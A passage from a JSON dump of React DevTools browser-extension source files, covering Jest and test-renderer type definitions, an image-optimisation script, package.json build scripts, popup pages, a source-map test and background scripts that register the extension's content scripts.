$ReadOnlyArray<any>, TReturn>(\n    implementation?: (...args: TArguments) => TReturn\n  ): JestMockFn<TArguments, TReturn>,\n  /**\n   * Determines if the given function is a mocked function.\n   */\n  isMockFunction(fn: Function): boolean,\n  /**\n   * Given the name of a module, use the automatic mocking system to generate a\n   * mocked version of the module for you.\n   */\n  genMockFromModule(moduleName: string): any,\n  /**\n   * Mocks a module with an auto-mocked version when it is being required.\n   *\n   * The second argument can be used to specify an explicit module factory that\n   * is being run instead of using Jest's automocking feature.\n   *\n   * The third argument can be used to create virtual mocks -- mocks of modules\n   * that don't exist anywhere in the system.\n   */\n  mock(\n    moduleName: string,\n    moduleFactory?: any,\n    options?: Object\n  ): JestObjectType,\n  /**\n   * Returns the actual module instead of a mock, bypassing all checks on\n   * whether the module should receive a mock implementation or not.\n   */\n  requireActual(moduleName: string): any,\n  /**\n   * Returns a mock module instead of the actual module, bypassing all checks\n   * on whether the module should be required normally or not.\n   */\n  requireMock(moduleName: string): any,\n  /**\n   * Resets the module registry - the cache of all required modules. This is\n   * useful to isolate modules where local state might conflict between tests.\n   */\n  resetModules(): JestObjectType,\n\n  /**\n   * Creates a sandbox registry for the modules that are loaded inside the\n   * callback function. This is useful to isolate specific modules for every\n   * test so that local module state doesn't conflict between tests.\n   */\n  isolateModules(fn: () => void): JestObjectType,\n\n  /**\n   * Exhausts the micro-task queue (usually interfaced in node via\n   * process.nextTick).\n   */\n  runAllTicks(): void,\n  /**\n   * Exhausts the macro-task queue (i.e., all tasks queued by setTimeout(),\n   * setInterval(), and setImmediate()).\n   */\n  runAllTimers(): void,\n  /**\n   * Exhausts all tasks queued by setImmediate().\n   */\n  runAllImmediates(): void,\n  /**\n   * Executes only the macro task queue (i.e. all tasks queued by setTimeout()\n   * or setInterval() and setImmediate()).\n   */\n  advanceTimersByTime(msToRun: number): void,\n  /**\n   * Executes only the macro task queue (i.e. all tasks queued by setTimeout()\n   * or setInterval() and setImmediate()).\n   *\n   * Renamed to `advanceTimersByTime`.\n   */\n  runTimersToTime(msToRun: number): void,\n  /**\n   * Executes only the macro-tasks that are currently pending (i.e., only the\n   * tasks that have been queued by setTimeout() or setInterval() up to this\n   * point)\n   */\n  runOnlyPendingTimers(): void,\n  /**\n   * Explicitly supplies the mock object that the module system should return\n   * for the specified module. Note: It is recommended to use jest.mock()\n   * instead.\n   */\n  setMock(moduleName: string, moduleExports: any): JestObjectType,\n  /**\n   * Indicates that the module system should never return a mocked version of\n   * the specified module from require() (e.g. that it should always return the\n   * real module).\n   */\n  unmock(moduleName: string): JestObjectType,\n  /**\n   * Instructs Jest to use fake versions of the standard timer functions\n   * (setTimeout, setInterval, clearTimeout, clearInterval, nextTick,\n   * setImmediate and clearImmediate).\n   */\n  useFakeTimers(): JestObjectType,\n  /**\n   * Instructs Jest to use the real versions of the standard timer functions.\n   */\n  useRealTimers(): JestObjectType,\n  /**\n   * Creates a mock function similar to jest.fn but also tracks calls to\n   * object[methodName].\n   */\n  spyOn(\n    object: Object,\n    methodName: string,\n    accessType?: 'get' | 'set'\n  ): JestMockFn<any, any>,\n  /**\n   * Set the default timeout interval for tests and before/after hooks in milliseconds.\n   * Note: The default timeout interval is 5 seconds if this method is not called.\n   */\n  setTimeout(timeout: number): JestObjectType,\n};\n\ntype JestSpyType = {\n  calls: JestCallsType,\n};\n\n/** Runs this function after every test inside this context */\ndeclare function afterEach(\n  fn: (done: () => void) => ?Promise<mixed>,\n  timeout?: number\n): void;\n/** Runs this function before every test inside this context */\ndeclare function beforeEach(\n  fn: (done: () => void) => ?Promise<mixed>,\n  timeout?: number\n): void;\n/** Runs this function after all tests have finished inside this context */\ndeclare function afterAll(\n  fn: (done: () => void) => ?Promise<mixed>,\n  timeout?: number\n): void;\n/** Runs this function before any tests have started inside this context */\ndeclare function beforeAll(\n  fn: (done: () => void) => ?Promise<mixed>,\n  timeout?: number\n): void;\n\n/** A context for grouping tests together */\ndeclare const describe: {\n  /**\n   * Creates a block that groups together several related tests in one \"test suite\"\n   */\n  (name: JestTestName, fn: () => void): void,\n\n  /**\n   * Only run this describe block\n   */\n  only(name: JestTestName, fn: () => void): void,\n\n  /**\n   * Skip running this describe block\n   */\n  skip(name: JestTestName, fn: () => void): void,\n\n  /**\n   * each runs this test against array of argument arrays per each run\n   *\n   * @param {table} table of Test\n   */\n  each(\n    ...table: Array<Array<mixed> | mixed> | [Array<string>, string]\n  ): (\n    name: JestTestName,\n    fn?: (...args: Array<any>) => ?Promise<mixed>,\n    timeout?: number\n  ) => void,\n};\n\n/** An individual test unit */\ndeclare const it: {\n  /**\n   * An individual test unit\n   *\n   * @param {JestTestName} Name of Test\n   * @param {Function} Test\n   * @param {number} Timeout for the test, in milliseconds.\n   */\n  (\n    name: JestTestName,\n    fn?: (done: () => void) => ?Promise<mixed>,\n    timeout?: number\n  ): void,\n\n  /**\n   * Only run this test\n   *\n   * @param {JestTestName} Name of Test\n   * @param {Function} Test\n   * @param {number} Timeout for the test, in milliseconds.\n   */\n  only(\n    name: JestTestName,\n    fn?: (done: () => void) => ?Promise<mixed>,\n    timeout?: number\n  ): {\n    each(\n      ...table: Array<Array<mixed> | mixed> | [Array<string>, string]\n    ): (\n      name: JestTestName,\n      fn?: (...args: Array<any>) => ?Promise<mixed>,\n      timeout?: number\n    ) => void,\n  },\n\n  /**\n   * Skip running this test\n   *\n   * @param {JestTestName} Name of Test\n   * @param {Function} Test\n   * @param {number} Timeout for the test, in milliseconds.\n   */\n  skip(\n    name: JestTestName,\n    fn?: (done: () => void) => ?Promise<mixed>,\n    timeout?: number\n  ): void,\n\n  /**\n   * Highlight planned tests in the summary output\n   *\n   * @param {String} Name of Test to do\n   */\n  todo(name: string): void,\n\n  /**\n   * Run the test concurrently\n   *\n   * @param {JestTestName} Name of Test\n   * @param {Function} Test\n   * @param {number} Timeout for the test, in milliseconds.\n   */\n  concurrent(\n    name: JestTestName,\n    fn?: (done: () => void) => ?Promise<mixed>,\n    timeout?: number\n  ): void,\n\n  /**\n   * each runs this test against array of argument arrays per each run\n   *\n   * @param {table} table of Test\n   */\n  each(\n    ...table: Array<Array<mixed> | mixed> | [Array<string>, string]\n  ): (\n    name: JestTestName,\n    fn?: (...args: Array<any>) => ?Promise<mixed>,\n    timeout?: number\n  ) => void,\n};\n\ndeclare function fit(\n  name: JestTestName,\n  fn: (done: () => void) => ?Promise<mixed>,\n  timeout?: number\n): void;\n/** An individual test unit */\ndeclare const test: typeof it;\n/** A disabled group of tests */\ndeclare const xdescribe: typeof describe;\n/** A focused group of tests */\ndeclare const fdescribe: typeof describe;\n/** A disabled individual test */\ndeclare const xit: typeof it;\n/** A disabled individual test */\ndeclare const xtest: typeof it;\n\ntype JestPrettyFormatColors = {\n  comment: {close: string, open: string},\n  content: {close: string, open: string},\n  prop: {close: string, open: string},\n  tag: {close: string, open: string},\n  value: {close: string, open: string},\n};\n\ntype JestPrettyFormatIndent = string => string;\ntype JestPrettyFormatRefs = Array<any>;\ntype JestPrettyFormatPrint = any => string;\ntype JestPrettyFormatStringOrNull = string | null;\n\ntype JestPrettyFormatOptions = {\n  callToJSON: boolean,\n  edgeSpacing: string,\n  escapeRegex: boolean,\n  highlight: boolean,\n  indent: number,\n  maxDepth: number,\n  min: boolean,\n  plugins: JestPrettyFormatPlugins,\n  printFunctionName: boolean,\n  spacing: string,\n  theme: {\n    comment: string,\n    content: string,\n    prop: string,\n    tag: string,\n    value: string,\n  },\n};\n\ntype JestPrettyFormatPlugin = {\n  print: (\n    val: any,\n    serialize: JestPrettyFormatPrint,\n    indent: JestPrettyFormatIndent,\n    opts: JestPrettyFormatOptions,\n    colors: JestPrettyFormatColors\n  ) => string,\n  test: any => boolean,\n};\n\ntype JestPrettyFormatPlugins = Array<JestPrettyFormatPlugin>;\n\n/** The expect function is used every time you want to test a value */\ndeclare const expect: {\n  /** The object that you want to make assertions against */\n  (\n    value: any\n  ): JestExpectType &\n    JestPromiseType &\n    EnzymeMatchersType &\n    DomTestingLibraryType &\n    JestJQueryMatchersType &\n    JestStyledComponentsMatchersType &\n    JestExtendedMatchersType,\n\n  /** Add additional Jasmine matchers to Jest's roster */\n  extend(matchers: {[name: string]: JestMatcher}): void,\n  /** Add a module that formats application-specific data structures. */\n  addSnapshotSerializer(pluginModule: JestPrettyFormatPlugin): void,\n  assertions(expectedAssertions: number): void,\n  hasAssertions(): void,\n  any(value: mixed): JestAsymmetricEqualityType,\n  anything(): any,\n  arrayContaining(value: Array<mixed>): Array<mixed>,\n  objectContaining(value: Object): Object,\n  /** Matches any received string that contains the exact expected string. */\n  stringContaining(value: string): string,\n  stringMatching(value: string | RegExp): string,\n  not: {\n    arrayContaining: (value: $ReadOnlyArray<mixed>) => Array<mixed>,\n    objectContaining: (value: {}) => Object,\n    stringContaining: (value: string) => string,\n    stringMatching: (value: string | RegExp) => string,\n  },\n};\n\n/** Holds all functions related to manipulating test runner */\ndeclare const jest: JestObjectType;\n"
  },
  {
    "path": "packages/react-devtools-extensions/flow-typed/npm/react-test-renderer_v16.x.x.js",
    "content": "// flow-typed signature: b6bb53397d83d2d821e258cc73818d1b\n// flow-typed version: 9c71eca8ef/react-test-renderer_v16.x.x/flow_>=v0.47.x\n\n// Type definitions for react-test-renderer 16.x.x\n// Ported from: https://github.com/DefinitelyTyped/DefinitelyTyped/blob/master/types/react-test-renderer\n\n'use strict';\n\n/* eslint-disable no-unused-vars */\n\ntype ReactComponentInstance = React$Component<any>;\n\ntype ReactTestRendererJSON = {\n  type: string,\n  props: {[propName: string]: any},\n  children: null | ReactTestRendererJSON[],\n};\n\ntype ReactTestRendererTree = ReactTestRendererJSON & {\n  nodeType: 'component' | 'host',\n  instance: ?ReactComponentInstance,\n  rendered: null | ReactTestRendererTree,\n};\n\ntype ReactTestInstance = {\n  instance: ?ReactComponentInstance,\n  type: string,\n  props: {[propName: string]: any},\n  parent: null | ReactTestInstance,\n  children: Array<ReactTestInstance | string>,\n\n  find(predicate: (node: ReactTestInstance) => boolean): ReactTestInstance,\n  findByType(type: React$ElementType): ReactTestInstance,\n  findByProps(props: {[propName: string]: any}): ReactTestInstance,\n\n  findAll(\n    predicate: (node: ReactTestInstance) => boolean,\n    options?: {deep: boolean}\n  ): ReactTestInstance[],\n  findAllByType(\n    type: React$ElementType,\n    options?: {deep: boolean}\n  ): ReactTestInstance[],\n  findAllByProps(\n    props: {[propName: string]: any},\n    options?: {deep: boolean}\n  ): ReactTestInstance[],\n};\n\ntype TestRendererOptions = {\n  createNodeMock(element: React$Element<any>): any,\n};\n\ndeclare module 'react-test-renderer' {\n  declare export type ReactTestRenderer = {\n    toJSON(): null | ReactTestRendererJSON,\n    toTree(): null | ReactTestRendererTree,\n    unmount(nextElement?: React$Element<any>): void,\n    update(nextElement: React$Element<any>): void,\n    getInstance(): ?ReactComponentInstance,\n    root: ReactTestInstance,\n  };\n\n  declare type Thenable = {\n    then(resolve: () => mixed, reject?: () => mixed): mixed,\n  };\n\n  declare function create(\n    nextElement: React$Element<any>,\n    options?: TestRendererOptions\n  ): ReactTestRenderer;\n\n  declare function act(callback: () => ?Thenable): Thenable;\n}\n\ndeclare module 'react-test-renderer/shallow' {\n  declare export default class ShallowRenderer {\n    static createRenderer(): ShallowRenderer;\n    getMountedInstance(): ReactTestInstance;\n    getRenderOutput<E: React$Element<any>>(): E;\n    render(element: React$Element<any>, context?: any): void;\n    unmount(): void;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/improveImages.mjs",
    "content": "import fs from 'fs'\nimport find from 'find'\nimport filesize from 'filesize'\nimport imagemin from 'imagemin'\nimport imageminGifsicle from 'imagemin-gifsicle'\nimport imageminJpegtran from 'imagemin-jpegtran'\nimport imageminOptipng from 'imagemin-optipng'\nimport imageminSvgo from 'imagemin-svgo'\nimport parseFilepath from 'parse-filepath'\nimport chalk from 'chalk'\n\nconst plugins = [\n  imageminGifsicle({}),\n  imageminJpegtran({}),\n  imageminOptipng({}),\n  imageminSvgo({})\n]\n\nlet savedSize = 0\n\nconst run = async () => {\n  const regex = new RegExp(/\\.gif|\\.jpeg|\\.jpg|\\.png$/)\n\n  const files = find.fileSync(regex, 'icons/');\n\n  for (const file of files) {\n    await optimized(file)\n  }\n\n  if (savedSize > 0) {\n    console.info(`\\n🎉 You saved ${readableSize(savedSize)}.`)\n  } else {\n    console.info(`\\n🎉 Nothing to optimize.`)\n  }\n}\n\nconst size = (filename) => {\n  return fs.statSync(filename).size\n}\n\nconst readableSize = (size) => {\n  return filesize(size, { round: 5 })\n}\n\nconst optimized = async (filename) => {\n  let output = parseFilepath(filename).dir || './'\n\n  const fileSizeBefore = size(filename)\n\n  if (fileSizeBefore === 0){\n    console.info(chalk.blue(`Skipping ${filename}, it has ${readableSize(fileSizeBefore)}`))\n    return\n  }\n\n  const pluginsOptions = {\n    destination: output,\n    plugins\n  }\n\n  const filenameBackup = `${filename}.bak`\n  fs.copyFileSync(filename, filenameBackup)\n\n  try {\n    await imagemin([filename], pluginsOptions)\n\n    const fileSizeAfter = size(filename)\n    const fileSizeDiff = fileSizeBefore - fileSizeAfter\n    if (fileSizeDiff > 0){\n      savedSize += fileSizeDiff\n      console.info(chalk.green(`Optimized ${filename}: ${chalk.yellow(readableSize(fileSizeAfter))}`))\n    } else { // file after same or bigger\n      // restore previous file\n      fs.renameSync(filenameBackup, filename)\n\n      console.info(`${filename} ${chalk.red(`already optimized`)}`)\n    }\n\n  } catch (err) {\n    console.info(chalk.red(`Skip ${filename} due to error when optimizing`));\n  }\n\n  // delete backup file\n  if (fs.existsSync(filenameBackup)) {\n    fs.unlinkSync(filenameBackup)\n  }\n}\n\n(async () => {\n  await run();\n})();\n"
  },
  {
    "path": "packages/react-devtools-extensions/main.html",
    "content": "<!doctype html>\n<html>\n    <head>\n        <meta charset=\"utf-8\">\n        <script src=\"./build/main.js\"></script>\n    </head>\n    <body>\n    </body>\n</html>\n"
  },
  {
    "path": "packages/react-devtools-extensions/package.json",
    "content": "{\n  \"name\": \"react-devtools-extensions\",\n  \"version\": \"0.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"cross-env NODE_ENV=production yarn run build:chrome && yarn run build:firefox && yarn run build:edge\",\n    \"build:local\": \"cross-env NODE_ENV=development yarn run build:chrome:local && yarn run build:firefox:local && yarn run build:edge:local\",\n    \"build:chrome\": \"cross-env NODE_ENV=production node ./chrome/build\",\n    \"build:chrome:fb\": \"cross-env NODE_ENV=production FEATURE_FLAG_TARGET=extension-fb node ./chrome/build --crx\",\n    \"build:chrome:local\": \"cross-env NODE_ENV=development node ./chrome/build\",\n    \"build:chrome:fb:local\": \"cross-env NODE_ENV=development FEATURE_FLAG_TARGET=extension-fb node ./chrome/build\",\n    \"build:firefox\": \"cross-env NODE_ENV=production node ./firefox/build\",\n    \"build:firefox:local\": \"cross-env NODE_ENV=development node ./firefox/build\",\n    \"build:edge\": \"cross-env NODE_ENV=production node ./edge/build\",\n    \"build:edge:fb\": \"cross-env NODE_ENV=production FEATURE_FLAG_TARGET=extension-fb node ./edge/build --crx\",\n    \"build:edge:local\": \"cross-env NODE_ENV=development node ./edge/build\",\n    \"test:chrome\": \"node ./chrome/test\",\n    \"test:firefox\": \"node ./firefox/test\",\n    \"test:edge\": \"node ./edge/test\",\n    \"improve-images\": \"node ./improveImages.mjs\"\n  },\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.11.1\",\n    \"@babel/node\": \"^7.14.7\",\n    \"@babel/parser\": \"^7.14.8\",\n    \"@babel/plugin-proposal-class-properties\": \"^7.10.4\",\n    \"@babel/plugin-transform-flow-strip-types\": \"^7.10.4\",\n    \"@babel/plugin-transform-modules-commonjs\": \"^7.10.4\",\n    \"@babel/plugin-transform-react-jsx-source\": \"^7.10.5\",\n    \"@babel/preset-react\": \"^7.10.4\",\n    \"@jridgewell/sourcemap-codec\": \"1.5.5\",\n    \"acorn-jsx\": \"^5.2.0\",\n    \"archiver\": \"^3.0.0\",\n    \"babel-core\": \"^7.0.0-bridge\",\n    \"babel-eslint\": \"^9.0.0\",\n    \"babel-loader\": \"^8.0.4\",\n    \"babel-preset-minify\": \"^0.5.1\",\n    \"buffer\": \"^6.0.3\",\n    \"chalk\": \"^4.1.1\",\n    \"child-process-promise\": \"^2.2.1\",\n    \"chrome-launch\": \"^1.1.4\",\n    \"crx\": \"^5.0.0\",\n    \"css-loader\": \"^1.0.1\",\n    \"file-loader\": \"^6.1.0\",\n    \"filesize\": \"^6.0.1\",\n    \"find\": \"^0.3.0\",\n    \"firefox-profile\": \"^1.0.2\",\n    \"fs-extra\": \"^4.0.2\",\n    \"imagemin\": \"^8.0.0\",\n    \"imagemin-gifsicle\": \"^7.0.0\",\n    \"imagemin-jpegtran\": \"^6.0.0\",\n    \"imagemin-optipng\": \"^7.0.0\",\n    \"imagemin-svgo\": \"^7.0.0\",\n    \"jest-fetch-mock\": \"^3.0.3\",\n    \"node-libs-browser\": \"0.5.3\",\n    \"nullthrows\": \"^1.0.0\",\n    \"open\": \"^7.0.2\",\n    \"os-name\": \"^3.1.0\",\n    \"parse-filepath\": \"^1.0.2\",\n    \"process\": \"0.11.10\",\n    \"raw-loader\": \"^3.1.0\",\n    \"rimraf\": \"^5.0.1\",\n    \"source-map-js\": \"^0.6.2\",\n    \"style-loader\": \"^0.23.1\",\n    \"webpack\": \"^5.82.1\",\n    \"webpack-cli\": \"^5.1.1\",\n    \"webpack-dev-server\": \"^4.15.0\",\n    \"webpack-stats-plugin\": \"^1.1.3\",\n    \"workerize-loader\": \"^2.0.2\"\n  },\n  \"dependencies\": {\n    \"web-ext\": \"^8\"\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/panel.html",
    "content": "<!doctype html>\n<html style=\"display: flex\">\n    <head>\n        <meta charset=\"utf8\">\n        <style>\n            html {\n                display: flex;\n            }\n            body {\n                margin: 0;\n                padding: 0;\n                flex: 1;\n                display: flex;\n            }\n            #container {\n                display: flex;\n                flex: 1;\n                width: 100%;\n                position: fixed;\n                top: 0;\n                left: 0;\n                right: 0;\n                bottom: 0;\n            }\n            .no-react-disclaimer {\n              margin: 16px;\n              font-family: Courier, monospace, serif;\n              font-size: 16px;\n              animation: fadeIn .5s ease-in-out forwards;\n            }\n\n            @keyframes fadeIn {\n              0% {\n                opacity: 0;\n              }\n              100% {\n                opacity: 1;\n              }\n            }\n\n            @media (prefers-color-scheme: dark) {\n              :root {\n                color-scheme: dark;\n              }\n\n              @supports (-moz-appearance:none) {\n                :root {\n                  background: black;\n                }\n\n                body {\n                  color: white;\n                }\n              }\n            }\n        </style>\n    </head>\n    <body>\n        <!-- main react mount point -->\n        <div id=\"container\">\n          <h1 class=\"no-react-disclaimer\">Looks like this page doesn't have React, or it hasn't been loaded yet.</h1>\n        </div>\n        <script src=\"./build/panel.js\"></script>\n    </body>\n</html>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/deadcode.html",
    "content": "<script src=\"shared.js\"></script>\n<link rel=\"stylesheet\" href=\"shared.css\" />\n<style>\n  html, body {\n    min-width: 460px;\n    min-height: 133px;\n  }\n\n  hr {\n    width: 100%;\n  }\n</style>\n<p>\n  <b>This page includes an extra development build of React. &#x1f6a7;</b>\n</p>\n<p>\n  The React build on this page includes both development and production versions because dead code elimination has not been applied correctly.\n  <br />\n  <br />\n  This makes its size larger, and causes React to run slower.\n  <br />\n  <br />\n  Make sure to <a href=\"https://reactjs.org/docs/optimizing-performance.html#use-the-production-build\">set up dead code elimination</a> before deployment.\n</p>\n<hr />\n<p>\n  Open the developer tools, and  \"Components\" and \"Profiler\" tabs will appear to the right.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/development.html",
    "content": "<script src=\"shared.js\"></script>\n<link rel=\"stylesheet\" href=\"shared.css\" />\n<style>\n  html, body {\n    min-width: 460px;\n    min-height: 101px;\n  }\n\n  hr {\n    width: 100%;\n  }\n</style>\n<p>\n  <b>This page is using the development build of React. &#x1f6a7;</b>\n</p>\n<p>\n  Note that the development build is not suitable for production.\n  <br />\n  Make sure to <a href=\"https://reactjs.org/docs/optimizing-performance.html#use-the-production-build\">use the production build</a> before deployment.\n</p>\n<hr />\n<p>\n  Open the developer tools, and  \"Components\" and \"Profiler\" tabs will appear to the right.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/disabled.html",
    "content": "<script src=\"shared.js\"></script>\n<link rel=\"stylesheet\" href=\"shared.css\" />\n<style>\n  html, body {\n    min-width: 410px;\n    min-height: 33px;\n  }\n\n  hr {\n    width: 100%;\n  }\n</style>\n<p>\n  <b>This page doesn&rsquo;t appear to be using React.</b>\n  <br />\n  If this seems wrong, follow the <a href=\"https://github.com/facebook/react/tree/main/packages/react-devtools#the-react-tab-doesnt-show-up\">troubleshooting instructions</a>.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/outdated.html",
    "content": "<script src=\"shared.js\"></script>\n<link rel=\"stylesheet\" href=\"shared.css\" />\n<style>\n  html, body {\n    min-width: 460px;\n    min-height: 117px;\n  }\n\n  hr {\n    width: 100%;\n  }\n</style>\n<p>\n  <b>This page is using an outdated version of React. &#8987;</b>\n</p>\n<p>\n  We recommend updating React to ensure that you receive important bugfixes and performance improvements.\n  <br />\n  <br />\n  You can find the upgrade instructions on the <a href=\"https://reactjs.org/blog/\">React blog</a>.\n</p>\n<hr />\n<p>\n  Open the developer tools, and  \"Components\" and \"Profiler\" tabs will appear to the right.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/production.html",
    "content": "<script src=\"shared.js\"></script>\n<link rel=\"stylesheet\" href=\"shared.css\" />\n<style>\n  html, body {\n    min-width: 460px;\n    min-height: 39px;\n  }\n\n  hr {\n    width: 100%;\n  }\n</style>\n<p>\n  <b>This page is using the production build of React. &#x2705;</b>\n  <br />\n  Open the developer tools, and  \"Components\" and \"Profiler\" tabs will appear to the right.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/restricted.html",
    "content": "<script src=\"shared.js\"></script>\n<link rel=\"stylesheet\" href=\"shared.css\" />\n<style>\n  html, body {\n    min-width: 286px;\n    min-height: 33px;\n  }\n\n</style>\n<p>\n  <b>This is a restricted browser page.</b>\n  <br />\n  React devtools cannot access this page.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/shared.css",
    "content": "html, body {\n  font-size: 14px;\n}\n\nbody {\n  margin: 8px;\n}\n\n@media (prefers-color-scheme: dark) {\n  :root {\n    color-scheme: dark;\n  }\n\n  @supports (-moz-appearance:none) {\n    :root {\n      background: black;\n    }\n\n    body {\n      color: white;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/shared.js",
    "content": "/* globals chrome */\n\n'use strict';\n\ndocument.addEventListener('DOMContentLoaded', function () {\n  // Make links work\n  const links = document.getElementsByTagName('a');\n  for (let i = 0; i < links.length; i++) {\n    (function () {\n      const ln = links[i];\n      const location = ln.href;\n      ln.onclick = function () {\n        chrome.tabs.create({active: true, url: location});\n        return false;\n      };\n    })();\n  }\n\n  // Work around https://bugs.chromium.org/p/chromium/issues/detail?id=428044\n  document.body.style.opacity = 0;\n  document.body.style.transition = 'opacity ease-out .4s';\n  requestAnimationFrame(function () {\n    document.body.style.opacity = 1;\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/popups/unminified.html",
    "content": "<script src=\"shared.js\"></script>\n<style>\n  html, body {\n    font-size: 14px;\n    min-width: 460px;\n    min-height: 133px;\n  }\n\n  body {\n    margin: 8px;\n  }\n\n  hr {\n    width: 100%;\n  }\n</style>\n<p>\n  <b>This page is using an unminified build of React. &#x1f6a7;</b>\n</p>\n<p>\n  The React build on this page appears to be unminified.\n  <br />\n  This makes its size larger, and causes React to run slower.\n  <br />\n  <br />\n  Make sure to <a href=\"https://reactjs.org/docs/optimizing-performance.html#use-the-production-build\">set up minification</a> before deployment.\n</p>\n<hr />\n<p>\n  Open the developer tools, and  \"Components\" and \"Profiler\" tabs will appear to the right.\n</p>\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/__tests__/ignoreList-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {exec} from 'child-process-promise';\nimport {readFileSync} from 'fs';\nimport path from 'path';\nimport {rimrafSync} from 'rimraf';\n\ndescribe('ignoreList source map extension', () => {\n  jest.setTimeout(60 * 1000);\n\n  const pathToExtensionsPackage = path.resolve(__dirname, '..', '..');\n  const pathToChromeExtensionBuild = path.join(\n    pathToExtensionsPackage,\n    'chrome/build',\n  );\n  const pathToSourceMap = path.resolve(\n    pathToChromeExtensionBuild,\n    'unpacked/build/react_devtools_backend_compact.js.map',\n  );\n\n  afterAll(() => {\n    rimrafSync(pathToChromeExtensionBuild);\n  });\n\n  describe('for dev builds', () => {\n    it('should not ignore list anything', async () => {\n      await exec('yarn build:chrome:local', {\n        cwd: pathToExtensionsPackage,\n      });\n\n      const sourceMapJSON = readFileSync(pathToSourceMap);\n      const sourceMap = JSON.parse(sourceMapJSON);\n\n      const {ignoreList} = sourceMap;\n      expect(ignoreList).toEqual([]);\n    });\n  });\n\n  describe('for production builds', function () {\n    it('should include every source', async () => {\n      await exec('yarn build:chrome', {cwd: pathToExtensionsPackage});\n\n      const sourceMapJSON = readFileSync(pathToSourceMap);\n      const sourceMap = JSON.parse(sourceMapJSON);\n\n      const {sources, ignoreList} = sourceMap;\n\n      expect(sources.length).toBe(ignoreList.length);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/backend.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {DevToolsHook} from 'react-devtools-shared/src/backend/types';\n\nimport Agent from 'react-devtools-shared/src/backend/agent';\nimport Bridge from 'react-devtools-shared/src/bridge';\nimport {initBackend} from 'react-devtools-shared/src/backend';\nimport setupNativeStyleEditor from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';\n\nimport {COMPACT_VERSION_NAME} from './utils';\n\nsetup(window.__REACT_DEVTOOLS_GLOBAL_HOOK__);\n\nfunction setup(hook: ?DevToolsHook) {\n  if (hook == null) {\n    return;\n  }\n\n  hook.backends.set(COMPACT_VERSION_NAME, {\n    Agent,\n    Bridge,\n    initBackend,\n    setupNativeStyleEditor,\n  });\n\n  hook.emit('devtools-backend-installed', COMPACT_VERSION_NAME);\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/background/dynamicallyInjectContentScripts.js",
    "content": "/* global chrome */\n\nconst contentScriptsToInject = [\n  {\n    id: '@react-devtools/proxy',\n    js: ['build/proxy.js'],\n    matches: ['<all_urls>'],\n    persistAcrossSessions: true,\n    runAt: 'document_start',\n    world: chrome.scripting.ExecutionWorld.ISOLATED,\n  },\n  {\n    id: '@react-devtools/file-fetcher',\n    js: ['build/fileFetcher.js'],\n    matches: ['<all_urls>'],\n    persistAcrossSessions: true,\n    runAt: 'document_end',\n    world: chrome.scripting.ExecutionWorld.ISOLATED,\n  },\n  {\n    id: '@react-devtools/fallback-eval-context',\n    js: ['build/fallbackEvalContext.js'],\n    matches: ['<all_urls>'],\n    persistAcrossSessions: true,\n    runAt: 'document_start',\n    world: chrome.scripting.ExecutionWorld.MAIN,\n  },\n  {\n    id: '@react-devtools/hook',\n    js: ['build/installHook.js'],\n    matches: ['<all_urls>'],\n    persistAcrossSessions: true,\n    runAt: 'document_start',\n    world: chrome.scripting.ExecutionWorld.MAIN,\n  },\n  {\n    id: '@react-devtools/hook-settings-injector',\n    js: ['build/hookSettingsInjector.js'],\n    matches: ['<all_urls>'],\n    persistAcrossSessions: true,\n    runAt: 'document_start',\n  },\n];\n\nasync function dynamicallyInjectContentScripts() {\n  try {\n    // Using this, instead of filtering registered scrips with `chrome.scripting.getRegisteredScripts`\n    // because of https://bugs.chromium.org/p/chromium/issues/detail?id=1393762\n    // This fixes registering proxy content script in incognito mode\n    await chrome.scripting.unregisterContentScripts();\n\n    // Note: the \"world\" option in registerContentScripts is only available in Chrome v102+\n    // It's critical since it allows us to directly run scripts on the \"main\" world on the page\n    // \"document_start\" allows it to run before the page's scripts\n    // so the hook can be detected by react reconciler\n    await chrome.scripting.registerContentScripts(contentScriptsToInject);\n  } catch (error) {\n    console.error(error);\n  }\n}\n\ndynamicallyInjectContentScripts();\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/background/executeScript.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n/* global chrome */\n\nexport function executeScriptInIsolatedWorld({\n  target,\n  files,\n}: {\n  files: any,\n  target: any,\n}): Promise<void> {\n  return chrome.scripting.executeScript({\n    target,\n    files,\n    world: chrome.scripting.ExecutionWorld.ISOLATED,\n  });\n}\n\nexport function executeScriptInMainWorld({\n  target,\n  files,\n  injectImmediately,\n}: {\n  files: any,\n  target: any,\n  // It's nice to have this required to make active choices.\n  injectImmediately: boolean,\n}): Promise<void> {\n  return chrome.scripting.executeScript({\n    target,\n    files,\n    injectImmediately,\n    world: chrome.scripting.ExecutionWorld.MAIN,\n  });\n}\n"
  },
  {
    "path": "packages/react-devtools-extensions/src/background/index.js",
